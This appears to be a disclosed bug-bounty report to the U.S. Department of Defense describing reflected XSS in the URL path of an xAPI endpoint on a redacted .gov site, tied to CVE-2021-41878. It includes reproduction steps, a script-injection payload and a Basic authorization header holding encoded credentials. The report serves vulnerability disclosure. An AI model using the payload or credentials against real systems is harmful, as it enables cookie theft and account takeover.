U.S. Dept Of Defense · Report #1825942
XSS on ( █████████.gov ) Via URL path
How it was found
Hi team, I was able to execute XSS on ███████.gov
Steps to produce - 1 -Turn on the burp intercepter 2- Go to https://██████.gov/xapi/statements?file"><script>alert(document.domain)</script> 3- In Intercepter add the following Headers
Authorization: Basic eGFwaS10b29sczp4YXBpLXRvb2xz X-Experience-Api-Version: 1.0.1
4- when you send this GET request you will receive a response with XSS payload executed.
Impact
An attacker can send the malicious link to victims and steals victims' cookie leading to account takeover.
System Host(s)
Affected Product(s) and Version(s)
CVE Numbers
CVE-2021-41878
Steps to Reproduce
I have attached the Video POC, please check it out.
Suggested Mitigation/Remediation Actions
sanitize the inputs in the URL